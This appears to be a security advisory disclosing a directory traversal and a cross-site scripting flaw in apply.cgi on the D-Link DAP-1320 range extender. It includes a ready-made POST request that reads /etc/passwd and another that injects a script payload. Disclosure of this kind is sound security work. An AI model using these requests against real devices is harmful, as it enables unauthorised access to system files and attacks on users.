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D-Link DAP-1320 Wireless Range Extender Directory Traversal and XSS Vulnerabilities



D-Link's DAP-1320 Wireless Range Extender suffers from both a
directory traversal and a XSS vulnerability on all firmware versions.
(current v. 1.20B07)

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Directory Traversal
CWE-22: Path Traversal

The POST param 'html_response_page' of apply.cgi suffers from a
directory traversal vulnerability.

The following example will display the contents of /etc/passwd:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST html_response_page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&login_name=&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=PAN&tmp_log_pass_auth=FRIED&graph_code=0DEY&session_id=57687&gcode_base64=8TEHPOO%3D
HTTP/1.1

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XSS
CWE-79: Cross Site Scripting

The POST param 'html_response_page' of apply.cgi suffers from a XSS
vulnerability.

Example:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST
html_response_page=%3Cscript%3Ealert%28"SquirrelLord"%29%3B%3C%2Fscript%3E&login_name=Huggy&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=pop&tmp_log_pass_auth=goes&graph_code=joffrey&session_id=57687&gcode_base64=ZZTOPI%3D
 HTTP/1.1

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Vendor Link:
http://support.dlink.com/ProductInfo.aspx?m=DAP-1320

Research Contact: K Lovett